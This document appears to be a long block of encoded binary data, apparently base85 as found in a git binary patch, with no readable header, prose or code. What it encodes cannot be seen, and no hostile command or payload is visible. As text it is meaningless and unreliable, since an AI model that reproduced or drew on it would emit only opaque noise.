z)lH*Pj4vW-IA?N_aWM$NUUr*qWPM-neZ->e)-m^`O_he0Z~lwWA=U*T>1g~C8p;Oz zrmx<8>pNW1LUu3V$n7H`rPeIv!jV{EQczDrhyoP2h&Nd_4#_#E5^L@ZKz#QxHmfJc>qWkid&LR(0+R=_@I?rRm8*lc@ z64%CqyYBnxCkJ_Sia56$80RiC4ym#1mAn^wvCK>7Hrq>G=kG(}K6vK_@8C4BVkQUl zbkuFmsWDz~oL#+KUPrkD*%aY%J9e@dm+(0^i9Motq<}{yZe4vDPgZW))k1x6{Yxu* zKC`4F;ugFNkO`NBW&4gB=b@FdvkMyFECQ1Q(|BGGT`yxNng|#VN((4b(*yJq9fW zy5{zy4uq+x5!M}x6w>aydyv-&wDdq+w1A9+oM3G+pO+xG3GC zuYoSVlKgvb!)=Z-=)I(|2WOA+z z?eMr?it(FVqZ9^yv5>6uV$&lER20si@uQw~;k5zWaxr)`fZxHUTT>5|*puG^nISmG zlU92h{;srA%V+`XmZryFbXm)DPqT>OQ3A!R#Z)5Sy3nik8W42wY+yq0riaOm%R-I9 zLaR_aJ%~T73F<-XB+d6jM6xEdv{2Ny!Mmx}^Yz9-Ya1aAfFUF{pnvkXArV9flNL3s z$GtoCXZqEa&`l{KH!(`U+p9&qKTn>e-b9fdYUy@xom>(H&#(UcdNhdse8^iu;<{H8z_(t*BL6lzpQlkGn=W>6n}t9 zkz#i2*dcr=HOA1eDW!L6RCcFO_c7D;H&t1m>-V}_P{RokVfmFvUoEEQQ_we6s>0nE z>iN@~S5E(&+bFAXv5CTUJMMwEcvQFe2ek|Zox2ZyHjX@dNAiT!ALk?UueF#CqJ)3AcS2W0@W%8d)gnP1Pg6WM>ifVcR}6ADATo?#}E#;H-`EQ;lJ9yAFY)h z4?%74l6Py+_qZi7gkkSf-4-y9eSZvIK|kTVCidLZ^_(#jV&(N*p)K0csCMw4!wulp zh2)2n8VCwF*|jM_jE*QD*JpJs{B{v_jaU@h3-Mn+?3<)J%c@v^D5y^pBaJNqy-S4# z0-b^SDr)*2qX}*)FpI&L=FPmOTiOkgjKujM?T_u_PUg_PfPY-P;#8DTyfEHDA!a z&^LWG!D^tPoc{*G$Q{NReE9fxtR;`bNh{;>u;W6P(A#D*+ljVo*tNY6$@LaUvBDLYFrdrFte)AH36ngT_3^%TzzpSI}G2_{;O3E)vLh?@v z*==G*>6lcRX_|U2K^kGA9rh1h&oNsv<^d5`P#p3Tayf`j-KYXyMGRyV!jYf=@nh*!?Ghx^j zW>1Wo&S=Sl!<&mq8zp9XD@smxRHsnuH%=bHpD8nY2)?+%ndLT<40AWT7O&&KnFczF?CVdW}f19LH0N zi>zOjMdQPJmLD!=(8^@=i+x(+ede%mWEKAEda8qHe8zbxRd4kaS;41ut?Upj66y?(Sh+^Z^WP4X5d5NWS{@j3UhQ!_4)1){) z@Q|q^B4IIG>TS>g|HJPDq*4|}skUNkW=g4=BpJA67{;g~PrIr-2JzgNjw6@WUE5*D zbujB7U+MVD7fK_)XeRauZ4_3Wd#A{?x6DlA7-1wp;N$E9vl(6~%Oi%03<-sITAN^pL zW&g+bLSBZD-I$3J021WiPm9)$>(pa1oA2qGOy+E(KnsB?MubE-JAL(dvu4HP`GB^o z6@a}O{42FWg)0TZwtW`XJ7J*TLjEuZVYYNA4{V2y1%NzVRo8%rxBHf>QN99`A~ zDl;DC+mq3oD7$yd=@@t`u z2DuNNP{kmyQKeY<4!?~9AjaBrpUV&l6k9?{m06lP>dnCWP82xCf#Y-i=)9pn2k+xI zs8`VOrEonNH8tzyS=!yS+==ugT;`i4sTt)NjV!)g@hCNE$8&y38)Hm{ELi*ufQ3We zMZzgp`(DyQMtMYg#@{jK$t(b7%&OEfei(ts(N(dJZ^1sNzLWB*zMFRhkz%d9_+a#g zP~H=DZJsD?w9w6eO1<()zf3mvBN5Yv$`ap~43%uLJPls&*mu7K7u>`W$!fE!Y}FH# zkkkGA%BB*-cx&~UBSAVlr++{4+zgM*5!w5y*&z9K_0cZp!C*$LgG%%SvPzivh)s-R zh-+U6mFEW`%adOwR66qSVb5cr8nuqL%l3RGZU(WVmL@sBZZesNZa#c{u9_m{iASZC z^0=APVD-q&!eaTV`R3!;3_it-h)SpKV$ScnqWb6iiK9)@O$Mc{%lVYz-pbvTi}7h@ zarH5|5sMzK%>*6YU)O7c4#;P;EPkt+rTCaxW!#^=OvO;1`fw(5NX)3XW&Gm@`zV9u zXVjANJj!uYW6G_!5tvj_%pcsVDA7boUSw|$L-G68y^q$^B(?d%`$DVHaOf|t$c#JL z+?=R01Ig$+c?9s79?I3u#j01ndH&ob2&jq>Sl=T>>iLgMpzH)_QJPe_P%3U;Xsgy! z(Dopj?P-+kPZhzE$r28s?=$HXn0>-T%_{H=Eo}0=>Q05=}P-@_{rBuPf@`2iL zYZ3Mk1%&S839JS}oz|u}Uqhr3I2lz(4SK}N?_;=^OguZreSDEObJrRLnw+uOnR$M( zo+n#sII7I{$*TCYVc`@4%11J%jEXT)z@_S|$PuNW_9*ByREbA1$7>i3~Pt{Nj(T<4l()+2ZllXjJQg82Fz7B^JBYvC_O>Di)otPQ4X4ZD*`3_{aP0 zMNC#RcZudjey|*F^7cG#I0KB`ScxE5P~E%LuyG=Mqj@_~nA2KX>&Nt)4WZXgJ~KXT zgAn(5{U6Rh<*mCyGtpSPQkOd|cS^tv#}FuO6`B`o7g5;TL3lyo;-@@=%%kfzxRrg; z!m^+ZGI_veedE@&-f;dD*&&VZYry}Ri=s1MJe<)T6>(2Q7Eho0u`Q>VwI(Y0~^C>`uR{vh+6KUp4AHs>5 zw&p0{6527k+sLqXwIgPjC1++(Zfs#OTT!JKSx+}yccSJ_i_&%d(0Q%%;n{hp9+nvU z?ev2)%9lr#U)pkaL!(hs7$;!OB2VzR;yJS4-;J8VpDJn%HcFxCqR4#A5aT+sCXj8~ z`1Rpo@9@FI8mq@C-!-nv7yUM|xPBCmUk4?#ag3Y%N}Fc0pCv_UqUwG&a6{6G<d0szUqi8r8o80|;BMlV9?;S=ZHej&@#O&$uT3-1xb=V{187d&PEsyK-gW zTrIP{fWw8>m9A0jCh4B#?RYN*|1Gx}G0yR^MH~Bvl@uh|oX3wJ=VP{Xv-bB#U`{@3 zbAqrqLh?ax(&u}UX3VWr7SiP90(V9>ubs)wX2DJRKtQR&YkU%?h7CLuv&%Z2 zTwy&B**MNxXcb%DFJGUEHv5+D0xUioz|o3Z0b>FEx3fN%MNZoj!vpRx_Dz6K3=7eV zQ&HmuXaG&d_9yx)3K^O(&529&RtPFZdz6W03BC-q8$GQGXNaV#pIjjCiXoEZ9lD== zWhKGLVd6S_{(XkUM1q)M)*e)->=3a$<~40O{klO)3)k%lMj$+D&0ys9)O|4le|(?n zVXr-JvCxW6t9ybd3vI^LQMC6j6@%CxWjK3xYwhL(*f7R~$Ynyn2J+HAFg_3;r#IRk z1!ICSmB%E6&tgCZlN7M(RGr-bso&)^X&R6EiWD#)kG3bZfMoiOtV;z6#+})&`q_@tp~2+?mV?l5t}U(;dP!#$r`@g zOZ{G0qQy7k{k7Ileya~$Nd4ldHKAy6mU6Swol^KJaJDLYmI_R;SHin z&E!mSDygwH*K%tNpPT0A18aTnQ#hY?UdjHd2hO(Y>4S$37kUBAO6q8V@<#`4RMSj> zf&)2{&hD;P0`L3_zSrYZMbnTl1r0mI{_MC2-L+xDpPklVoGvvv z>PJYjHG|G8jO;3I+%3T9~y>t!dll|2Q4lVEMJuxzX9}Y0Rd(!WChu6Ts(RV5uG8lA;+?$C@!OyZw zZJ=jsAU^A*#wY3;p;1|w{V9pN^|3Qqyr4#GcCx7aP}-Y-YUBp5jM1Alr(S;CH^0ty zqf_kq$9vw7TE*3Zwr6_oRNE)iY~FwWnCN~udtmMzG0m=yV@dLDeyJUl+^9$hx^0ZCX2(I1!r zRK%NYuNpBXt()k(ToQL@l)PP^#}fgV{vPsOuR>MDU_SPnX~y;*y;7$or4S5B#fezU z{%^V3yX%pAT}D+e*<$RddHX;6VY4cxsm`z@*mM;*t(~!w z@tU~2qn?bzsPBbHp4IS}-L<-GqCaT8G&tk91j*PZmk)39_N>tkW!NH9EM)U)1|DOd zZIO0`A$T@#Y^9v@`2)PE;x2ZSh|g~>cfAQe^-X+Cc=zwSYGDKSRQRc`ajxohn?WCW&O$HaOj z!$Z%YA+I@8A%}x-o!g0LFB!@SB9^=DZ_Dp7Gcjp$3KW=j4VP|?c##miXnnQO7dKqB zgChI2Pd}cBLX=6vy%$TP)PZp6CsbO*58 zz2iJJdaMq%u3g6;7V6dIbzN>zP1vc*6QD0 zSyg8lyU;-_YjWh=f5og9h#IZU|HWv}VSOY)#|nk&+w>bLFYi1j$*EJgDC z%kU`ePUhy4*6Q@Ydf8xgLc%146H1s3ktYJ}n(@dcL+HA&bUDShoJ&UD*xY? z|B-}WfQp~~vi&UAr~KyYjzJ|8 zUA89Ih;#UXoxe>wT<&!Jdi`ucRrjL19v>@$Acjt!-)h!U_x2`>CfoUXLtW4yrll>z zdIW;le|>2J@T*LbEqIVh9`fDlC69 zUE6z#fjLKcxZ0DiD6m`7j8YTB@rP#i-zj=Xm{a#9;H$*g58UPFTFRn-dNCHeKExJ{ z$bX<;`?|2TUHJXm#s_D8UMjS%uUwYLiA>#2B)0t1;$}F^Mj&qmL`F4lNIr2kCX4sR z{X2&IO#%D+4ed5T+FbNWF_}`5GQ{g3fQ5#M z>7RQc+~Wd!##Lur?O*>BG12@40FbhX`)Eh{&tjQ#M24WK=PFah?t)f?uYj?2l?nJc zUDbv5ALHad1WI1I8wacX|6FRzJut+|zd(+<_NoY9)0&LKr*jhHhY2xa4Mu%IRg8PU z2^c;xi|vtE zSI@noZx2piDkOj$L_&wbPLz{)LSse5{UFaEz64``4%96U!bn$biUa z9C`|Wo=emK>O-@hLOjf}RZy|~=6?8^RllJohFwd!BaW-2wINy5lRx|YkH!C7XM&(m z)O`oy`}a&mrSyO986nIy*z}=ibe737Q2jszOg|0K6Phw-sm%SarQqMfWOwZ$rCJAY zpbo$`$ZxHI7s!P=vIDJ`VJec6+&@uuJqV2E`jXTk-``_AKFSD?C^|Ik7B&xcFEXzk7qOr1X)8J!R<1&5HscX8jp zKlCoth~>Hc&#>zDKX`wCmQfa||J{3DM=y+yPC%WRL91BLVKv!R5v(HA`5E)SE@C~d z1yJpWey{eX&f-bI1JH(d0aszXX!Q?6`Cr?t{}3HwaoDY@{XHo1w5-UiJ9k%56h2DBc?{Z8F=S!Fjbb=-XanqZ#npFkmDNN8Bk z$z6i2^!VQsAgT#7>s@Fh**Rz{fgs%hHtRiB^{g-iRSMc;2DBXkZ|e|%E_khnBB3L7 z0fq{u7^rT=Am$dhxB+~m6xM$tKo$WqNZCGO|1kc0&StTLTbVb>p(G-rw;U<_2>4f> zfai-!uYFh;-R%Kv?-RhXsIpQ}n}lvMux zD?3jD2m~%iFY0qu!=YU&;j%NuDquUKks<~n^CxgG3V_e+^w8&@A^0;-{&O1r{XQOo z8Z#H@@Z-mi-yoKog8l~%H&^Zm;+jU0&U3&~WCFu1a4-4&KacHyNlw5&poQ86L^g2% z5==CpUH=A6AP^e_2t2Gn03D?m%ccMrk9ZO&0Uk ziJ%d;>3kpv#2o))zx#VX`k!y)RZt&hFa3U?Qz4Jo-2`l=0;PwNCx_Z7kBdbnD-UosP58wurE;i$KhF}Hn)GXowErpu< z4q)`Wl`AVNt1_|k|5v)>B}ofZ84HVx-XHHB?%nYRPw6Xv%fgTM%fJ>u>{tKoi>2Su za)8FotXpOE5kL!Z3$((fOMH#h?79`^bTucuue(a8_{$s$LEQcYL}B?o_MlaPri&3d398)( zRfD568U|g!-!c?ypPcqM*reD5p?`JF5_BQLl~s+$^A3AS5Qv8Ii=fSV^?? zy3x~2I8h4sX$W3e9L1~K}iZLwd1C+upUC#+q3w@V9$}s?t1;I+M zqx`+o?cayjnnseu4(k6YfDOWUg5azNsOae>C4mgfJt5~~<8k9cam~%www;KCnQCw+ z%5^T=Y@jjlLH^uf7jG|1*(x9rDayl-+Z||0gHAz&D_A8@>2$MM5W@S2kFr1aRz}GH zY}w^LjpH`uJ#6_gHy5exF1qSVMYf=hp6)n(j|V(Ht@cF^fHpEfutFVk@C? z`n(L%Dohyk)!Yxq{e{Or?ov@-m}Ud@b$~awVj)N;-dqCW`<7G%EmwGH%awR3uUXG8 zLc{Mf6%a(p{o0&PI6&N!4blLGmL##lVa&=@9m3hp7$UqVk11Rscc9I1}a03XMW zg1H&bU0gwUyVh#5&bifW(@Uxek$2N&9DAg)<}AM0ViE1f!@FQF#}cbpB9cfXu>K7= z(Tw8de4kNJk#sKT(i-)6kR-*KQI@v|H1YJa4ZQY)Ig=KEYj+H@Di}AGGt`b?MYsdl zp94ytovU8Be|OPkGYI2za08&-uV7=I=%;?$Rj=q@q5CjIS-~;%1;Cb15dJ+l3Pn1e zjPoSE6VC`k3Qx+xylfS?s8qfcC4Kx7P`h=-fDW4^Xm8()IknbH@2{N+!huZsA#hJ( z&HNzOm04=21^Pvn0#*h6#16I&cVN#u1n@(d53gl^@mTNK{4nPaN@z{On8?V;$g-Vn z+VG`5fFp$f3z*-a1q_fEe7JoN#1c{Hxa2I6+DYsK_rvi;$PJ-QU&!g6RZ2q1fB@`< z6?7G^EYzzVIH3sSM#mwgef;jOnlZ7+{kizh2a;W1e+|pH=&vI_;ean z+ko5~Yy5KxuN1T%k&bXtq9 zwzUgj5IZ*f0Z2y_fDz6R(%r0fh`SrDFEHBgV8=R7FWLuTwV)7=3H)Qsb;S^s-cbeX zy*(9>V{VJYwNT7RM}(+WCc~W7ow2*-;UOLooBjtL#)7Lrc`Ikf;YcM*ZFr~u07xoI zgM(W|j{!AP5usb8z#BCI6|sj#t*G^FC!3=xFE``#J$|nkg<7J`qoqt6e#PAcy@*VP zUta?6eY8vxH5Jvkj{+Of%;@}J+t;j5Yp9v2Ym$a|fldNL$KO4`u=`~onEf7(J5xe{ z#qePxex!ZqoNfr=VRQ867#Cg*=GjB%4UI>JnCwL};wd8dg%71DY7vTgQ<=txiMh_C zr$og<3+tKm=%+tGVzCVDh*E`gBR|ilhl9SMXabZYe6XPT=65-xn9* zxUF5(mWMCM)zCR#dj;5xYtrN1i@s?$;&}pdWAWwpPFX&nN&tmY)nu0|@}xCr#r7Fd zR>Q4?PuBxP9+12|T+QmYN6KTAb}$)q_uxtbu%NvnG#a-R!&eo&yv@+GOmr@+iMjF2 z!pia~}n^X0PwOF{C#CF$!OXeOl8FXEOM}kfH}O8M3w{*WT<-O$))TNrCav zz(nnBqM21R@1w#V(-Fpx&)1lX1d2cLBrTw!zPV%O&p6L3PyB)HX_?XoXy=X?`8p$ZQ+j8&oIOZy>SYBj=2oWNUU-W(BEn&Ou+X z>5YkWWl0Gn-@>*-Y1b_2G^ul7FZM}(PZ9%mFkbIk(lHo)*}idzM5b#Rw75uV$P(8? zGxYBE#!WrczC^-&Bb#3kMBcGY^obj5i#-3sby*DDI-@oz}N&|gd6 zKRRn6MSn@!wp{?LE9JSTD6gR_ zAC<*tY4zTmjJ0>%B2nT?aiuKRxVDhqzAq$A(TdN#!|!=w#a_?-6h`}p7rpYP$0af0 zXOZb2zN)p|@eUl39u&_^1Cxeh%4PKd)K8peYtm~ZI9IaF7-9-!`cNudt^m>(A;1;? zuVdW>BT@;5)BTJ^{6mzp&OZB4WeKM=p$PtV7B|w4g?xBDda^%)mX;hXh~MQ8G!$Gc zk*IExYZ1zBCx&F1eU*LzCauD96e4bW{zeRtLy8|J5x1J8mEe=4C!ZMUk9(lTY3oPsW2#9>dNSKJ*? zWPF%C$WHSIJPt8VIX1W(0{V<1Js|r(o&{Fpij^ktnteU^@?!nU&ZdS2bRM)hEc7!B z^`=vto0>Cb;x9D|64T@3=ehQZBB&!&N<;yO*(H+fb0p2_pD~*_m`k z5{hKkE7>P(zYt`Mg3mcbVq1I;yzvTB68AJIfng!r4Cwr}-7r~7c*^^oI*ik{@%S_0 zF5LnxrwnHp&qXb|3a7|>`yyIF%Roc(2uj1_8@SLWEYOU+p#9 z)$C4jB(V(73(*EUyCQwxYv;+P8IHN}g3h;Q_iE;DgNid@DoK$i9)Y>^=u_#>Agdu} zq$^2@R**^V0%y`=9Ao?q@f3fzRA~%Ou^pU@65`dp<}IL(bBIft9KZxv=a|jlt(@oHF0ZeMQiA}#Li48ZP z!+k(T-!V^yLWe?ivF0SRDu#25ZExk37#Y~}!i;XXFh)8uhep_?@TrE>8I#kOg|R)D zJzrO+AD+DzaKXvrmnOC2i@~I3Idh{|Uc2hU#FrMNbrQ^6q;9aA?pMGcq$b%2-AAB+ ziiL373X&-O$cj-5C?TFPJ~#^xkWM*oxhIz>C+f`V$bYYtU@qnlsvXcff)&g*U!No@ zVwK=pBl7(B=Ft|G7c6)e3=3E#B$Zqm z=+)fLHmcl`58X51E?*^XofP`A^4=4A${vARhD3*MRA;6A^HI=z3U@R8+(bOa=NFB> zw0u%~k3B?`?5y03?jJFAapV=;%MoXF_kI%UTo2jD(SxE%-rBa@vT%kQ*Yg)RYkM9_ zXb*+&<2X}Zr5z5>0&iq3D>{ZYlPFo_zk-id^$TBOgzhY{U?O7@91;P6@N5SJq=Nd8 z&13@k3EcK^{T%1DCvbViX@%gpM-5>$yi`@Vv!vcww$x5NXU4CJ>K7d-{t81Aw0_Dk zC#=>!%pH}%Gye~ft-feWieQ^U03sqV5uDhC!U)H=3TOq<*?`m+<)CtRQ zNlb;oePD@5~#7 zcB)dlQA$$6|L7x_THSPr!`Su+S%8j@5Kfy$r$PP16=Fg*!^z!#iKQ2$M9AEM37>s zb9XqsoAUieJ`}6xOyX|e0`@_WUD#^EctsjsnJG~ItUP@~My)kr=RHS;(aYhsVPwM- z7Q2TuV2nDT)970Zjc$qz34F*;4W=wnzXNT#{{ENn=7lfypJ!Y?(dwex+Coz`N%$sov0ix6 zx@U*H*zqy#IN)NFI3G*RZKQdK%96G2wa%R#WDFuGOaODGy(aJ@4fxmv!ClTDTVUmM zI!TWn5XsP6O&9L2KuRAK_Q}j_v#MLfHU6}i#0E<~;cu}Gf(4BFr-V^Z3qq=cKCZ10 z9C^%UH6_2*8k38h7+K9e?2iuIoMqi_L~ve7aVRB8wZrt+D1WjX1H>TTIwC_xee}+1 z@OhM-C@l+}3Pb@a21RF!!nu#OGA&ulZH|68GdE>F?R@q~rQ^LNHUU0;Ax|7A$9Tq& zV6+yP+mbA;Dt;e2O(4e5qna!$7S54Qe87l%7-x7x2SHw|_<0oxu?>yF$WvMIyd%Yi ziZzwG7XLj-Y|h_bZl%t2rrqm7@eYk6IR^$Ieb80FJedIK{Z+YjhM_0I^HMI!{V{AM za}!}BWT=Jj4C8eb;Uaj4W5lvAjcZW_hA()K)G}5PMUZ~XT+`(JE-Zto` zQ$Mw0?ehRN30MVjm4&Td80`#sD~_Q)Dd~z0 zcVxpUgNhpgyke9~1}`WoaLpg@@si~ZPSvMVlSt7V*d(2cAs(5vW^2s+mpA>=yQ{sn zPHdL8tV6tA%*ezq>zww1(ZY-Q-zad%p_lnbjKj%z+~f-A(2=}VBklqQj{dy~r%C0I>D#w>G!an8$L}{0l@G)!l=tspa(ZH%5+B1oZI9Lq zvECDrlw*YPcTbv7G9VsND*BNmYp%+RPGDbsH2^vYP7aQfrc zSpGY{Ulf^*-Iqp<{D1_%Y6thQ8*YCZ5f##Zy7vSw_a614CdEtoRT~C}eKBaM!`^yi zn0(*#a`M~;eq2KZLjoe8# zqs1xyQNbl6bMk9U6)fO5FO=VP==-9m&7%p|E$$5fJmaUQj6E7}LP{%u<=SL@s($b8 zkfnsC{s1gefI-NVUm(>a!C&C>+(RiTkRdd+8Zrnp>@ z7muZFM`uYJ-}R6*B*8)$`Yg_#{wcCV`CzX7&fy6lO)g_KikHgQRc3Z#m0=yKN!YFSH8p!_!k`=jSmEUj$u$|S6 zoKDSvGvrbV${z`N`W3Hja}(ghYNG^FwDFQ%A!heC#9C=LB5t!fa;l{TQ4T@>C-!-q zna4Gwl-r2I%_+kUMhu12ofPS{DajXe{voTRTfkjR&UdRcDd{^nr(~!iQ*v%8pd^Vv zI>7Y15&Cm*j6kI7AYa><2FUVmYUR3p?<>zUByv>B1{U+S&V-a^iIO$}Sz@4@R4bCo zL`rx3SDBWNunrj*W`6scmyAW7pmJQ6xQSFhSy@*Vm~17l#~%jN>#ST(k^dF z_4U_OZA7gnLLDFy8-+(E2(+Z^)BC1J*X}}91_Df(}^fidUNh**|yN(EFDi(9J7P!)HWHvV0 zaUKJJc_M%M_?Ku`bzsCGXo8dXP&!Rvhhc3Z5Dnvtn72p9LdFilx%F$0WY_vsZTXv2 zcw#PqD_z#jy5iG=1j46+!_eXC-i({|XuJjVz z`TOB1aNSky<=0aR+T_hWT)J@wPSa?;Xd)$Wyw!-)yAAb%H<4u?-gZ8us7Ua;TXy<; z0n*pf=iWxeD}7|#hJFj-ryN1Gfnz8?K|AbpiMf&2m3Y$Ha^?z2!YK(gzIMGe@0;c@ znO{=-%+CB#{Np|X9!R@8j(;$SOZe4)U=W8pLW%mP9fnT)43=kn`tg16JEyP)JHuBG z^kvGz`)yU3_P@RRm{rFU_VEWS2n9CI4Yx@fTkh0C&Sv5GLs@W>nY%dFjvU}Eb3_Kv znU+5J8uW2H@%LCz?HFT}#Sld27Ie{`V0?Jp66VnL(XZ$Em2J?kMRO=RIOx1+A^J`d z(lZ8ppbAtKAQb+${p;|)pAt0>oFsMyL~@abRk`}aq%f+8>ptmfx?gi1gWxx+Hx9cVNrVMI)=RlF7d?NarZlkY=H?^BOxTzhboKMV_Zy6`2R={E1dlrS7je~_G8Q#ryBE-BMy>s4Cl%k11c z)$u`T2N-^=L?};;0oM;uqRY$Iyj}g1C~$2gGP{GnVRFvq9A|C6UjAk7x+xS^l%>+m z2kJ$8pF;6rNKkePu5r?*TWn4DnZC*XA`kca@k^7Gsc$&*Se*zx;whZDvIHp-RP*OJ z0r6<&lVj5?A`g=dTuk)<=t2_nf)2uOX|F|6Udm~MJ}XTKM-%B@^kW1E%b!o7C0ZE; zON`YQ;q~RdB4T_1F7~sC&(xn2!KeFxL(ZAsP%6raDfT<14FefZ_LX5w8g+Ki?;;-Z zySFW%9-#5W@_Y7od0j7{KMhe8^uK?ShrEyf*Fmw4dC#y%-reX2+gl+QsS&|_sUIg= z8H6iH=j#h-?z`WMRAJ;PxfWk{CyHGwy*zDkRbfZLgjYsqw-GPSHO5~oU9 zlPPQLt@M6#-DPFElziOGB>bV=ET<$QbJF@Zt7Qh!(mTKVcJt3w)i5^ z%p46%&8iZ9Xz$W==lSm!q~J3(7^8S>XBq-OJwp!HZw;!{Djo}!k{H{O*p6`5etKAF|HK=|_Rx-_pl8*< zq!_1Q+3qvOK{^`0Kd|R6u=7I{E{q^NS}Hn^Tu-ygJ(8$*e`oaw&&#rnowuV{`pCeF_{rsw}1+*Tww{-maC9jo; z^2Ym{bRF8z_*oh^&iV>U7=m9&`y9fZmFPM)`k9Sc*SPq%pNZV^`Y*i!R!_Y1wIPKB zkDJ1dQZ=`r@D2m{>~RyPqnb$@Mtm&`5!TQGkuK9mx&8Dlde*MaO|VEfbEGFmoaaYB z5>$~|l7UUp^&O!lP9m-c_gv}xogTMDm(uDC-JumV!ymE7OI^}Rs5E8kIN1vr@SW9M zf00o)rBWTA=%Rf&k~ZgzPJkl7X#m=!#2ytcYIreimi%0e9SRl5F+lzrM2i zR(T5^<8|==*n7{YCa~=fbVLy>6cq&NigW?#y(l6A(osOFFo=MF5FkK+hzcmZ7wOWG z-a`vWlNzL#&(q{)^cKU%07GVv)lRYR=0D}*H)(V9_4H& zNyMtP=bY~YwLB3Q96IfJma%3+?C!RSW0S8*S#|{f7*{$GMX5J${h{F*&MzYlavoVX z(KV!LPcFw#${6=1U$T#!<<*?E{4weG#@9vEja$+bR%>Z_=9Gj=^ll_K$7HFc-8v`1 z2BU*(Z%cFBCAyDe8uErI<~)h>0W^^9dfIKZTN4bmZ4QXYn~%=pVZ!x`IrBy072ky} z6>B%uKA~{AtTAN$NZ2<-vE3>p%wi+KOYK5Jk5#8|*6D5sc%1B^ zz~a$CAFQ|L@B6XE~vHz;A8l%TS_)On_p!3xkE^B-t?s<~>bF>d` zYd*Qjd)so$DYrY>joK|t>61x~i_-F#$Ns4?*(jlWN#!zec&zi-RY6$Da-bW`PLum8 zanmPyb#C_;t2exMd>&HX_T?SliR&^6kGb)$g0WMpegN7;yr9$9-4vuYN@N3(X%`JEzyMdb#>M7;1jr=v~!l|(wo-S*5Yh5gEW!%ox@`Ec|MO# zYE-mF|C=uVQL%F333lMujh3=#eNJTfa>bb^@tkbKD|=nl`~&!v1nxm9aNg8M~lE&dzu3?@TzE-u8?KR@f)cYrBQOJGIo(R{V9t4oMeBI=lv}kUzJRl>h$Y$DjLB zeJcqHdXk>kdYqJSl}(O;q*%UT{Y8Y+W`@4k%1!_@`K9|>zFE7~+Wvc4`^Im9OeGa7 zvzkRq!Lg_o_pa2%;=fl$CTZY+s<2RygODAmaKt@pM=Xq48L#CA30)z_wIuC3AZ->1 z%2ZkaiYqz=g5J^buTuT&V7dz#z}a2Jn%YOv(&*;yAjDcCgCf^9bbjR6{smho5;x+eF?`i}@3twZp=Mn$TAKl6v`R*OV z(zA;9!ykel?s9)im<-3r6@JT$zmvb_#BrfH=%Jx-a`~5*YasF7aqjH~&R_M7kLZdn zoRpq{E3_M51z!x*+=U$MuD5`m16k+j;2~DK{u1(!rdvDH)+>V;w4ats*;01sf4%h; zQ|ES;1h(*PS#1GgDomv66! zoH+h1w15t8wp)QycL(%w2mx91)TsnrnlB)0e)YO}YTUgl5w{a)Ax3t>!GD~4YiO9<>)xfx z$@}o@{rgD{HLa>?%I~8qLsZ_@a^G0~lyLP*tgOuoUx6x~N3m&-JxZfx6)DcptWCAw z!u@=o;m9dho$zBQqcxU6ZNcs>!-)a*hGERLU!nSX6z)%4*wSJAsn$rfm`+o*e%=r4 z_}gwOS&_af8b|rF%LKtkYD}_`&-fUi)o=M3h1997s@vee+;uqtJC9gK0M}ez{9YqJZ{)>Qkl4X<DxFO_QP0_vN=eG?W+DEd>)N^+!S1&1MMfO1s2wN_e=NMP2WE?U7s>i&9q@? zdiCKYaT`apFuQ!!zTS~u?l;R4GUSeWdz>H(WjIIh3nJUl1q7s}=Motv)nBHi-EMxd z^E!*Z;v6Mb_j5D#)$`Wvf}`(-idpVm#_n|QOEI8lKHT3CG4XH#>k6zfFLCBMI2(Gq zeEfTlodLW_Eh+c?dkj9HYe$B!Do2s7LhVPxq zUyoM|CoI1jdHRgkoNXZgg}}Ltmr{2J*(RBsZ*y^#0Dh8KeM`cs{9ptIkJmxQb_8Bh z`rM~a&Fbk-6~M{pY8Z}{uhbV1&Gz9(l_sn`0w^2#e`+;_a0Lf$#XIx9_@FytFCx4f z$fjXAi_R+#;dr9w$Xq|_6Ar2fzo8v@j4^Wz_OOcehDSn>t-?%Qr0U>skL)eTbP%Y) zYwGI~4`~LeUVmZjhn3a5S<_-v(Z7l|&d?AfORh?J`slpb<<;$}sC2>b? zE_%xn>V#B-Z2GRD9qrAL^s3dY@T&V)uU<8CP>l(s_33b;JktFFRU0+fo_;fKHk#Z* zCY!o7oTOZHD`U8LY556vJ#)^$h^x!{wTqw)@LT7*W&w`DGA*2{iS!M08YH}SQ?(f# z7Gp5kVn$H7Xg$r0WJ~taxIVRC-wm}eo$r0gQk20T{%rx_yME!Rseg#F71qz~4X#G%_XXvX9H=OOV&ky(Y-u@>5*FQZ|WMSB|q zliY_`rKttS{aoK0zD8~;A3vvAjoWMv8fzh~Ki<(?s}vHcPkz2wteUQ4QBU1B|1}x1 z)~GMh;?c&o05U-0_9BR#D^w6&Icao=Ln0Y(u*y?(ju7M=gL@u$O1*b#YAV~aNh!L6n|&!|OSza- zH$vYd{9mK@^&FdsjEZ;NTw$M3&*L>wkT09BAXwk1A zT0rlG_!wT$;kf3H8xDIjTPkKTec;_vcfuu7)<4;BzLwtP<$Tq26_)Td>>J)CtS`dx zY36}i(GZ<@ccu!8+$~P&0>!Aa#K00hk=RNIdUW>+gUp*g^n!MlYgL=05F!81PJ_p?CyY46S>&fU2`qVRj z<9Sj(1$Fa)LneYMyut`S)+IJ;`MC7elMr$Y7o{wmzp?cE_G4r&%pIFC$Iv zSh?3MqS|6`&F}*!8K<5y*4|U47XZmWi5RHUUC?+Hc z+g!z+kM^(gZt)5}zBt9s7~0%hEU$umXxPn_pegW`*PPXmQIt^7h!4bLSp`HQFJtTC;=Wjtoh4 zH;jGxA28zc5x=6!lCA~O9%U<)Vw>cQro+X!0{Pw~Js5zaY}3{3;nV5E+4X8_LHUF* zOC@!BY@XHMQO{7%wCbLuVr?}l{t(@n=_=#6Q>9_cy*XS@?EZ`oF*>H+owlqI(&28d zR#N6do$utbzztoeM-z8noNh9}w~M^Zt(_Sy0#UHk@#o8ir=6ob+h^F5MRvQx&B%y{ zeDua``36eWWSjRlqjd%97G5@8b<&l)P8d|tASgX0b7CX7NiqbmC|_!@`67AShYl{n|lWL^~DA|_0?baap|dk;txDvkpJd#>~6nbuZg!z zZV@q=+N*2PjcT&0U@z}IW{>m<_=A`oFw|XkT9~G5++A6w?K#TNP2q>fsHGF%px&D~pvw{8x&EfM^tSgG21ZL+S3@i?n%BEbFBTwjucAmpn zsP_@;hBhVMNB23bAFmic+hm$08<-vb?_KBID<*M>0Jnnm9gg#pl6_7krFbX03eS8KRE$|Xk=%SVz=5Jl-pBI@0fPSyR$aVSl1f26vGMp zeGG2wEs-}_exRl%$O)z;SPq#Yukd*2df>N!E>bY=%9J%nymUx+FobO_g)F;9-|{{x 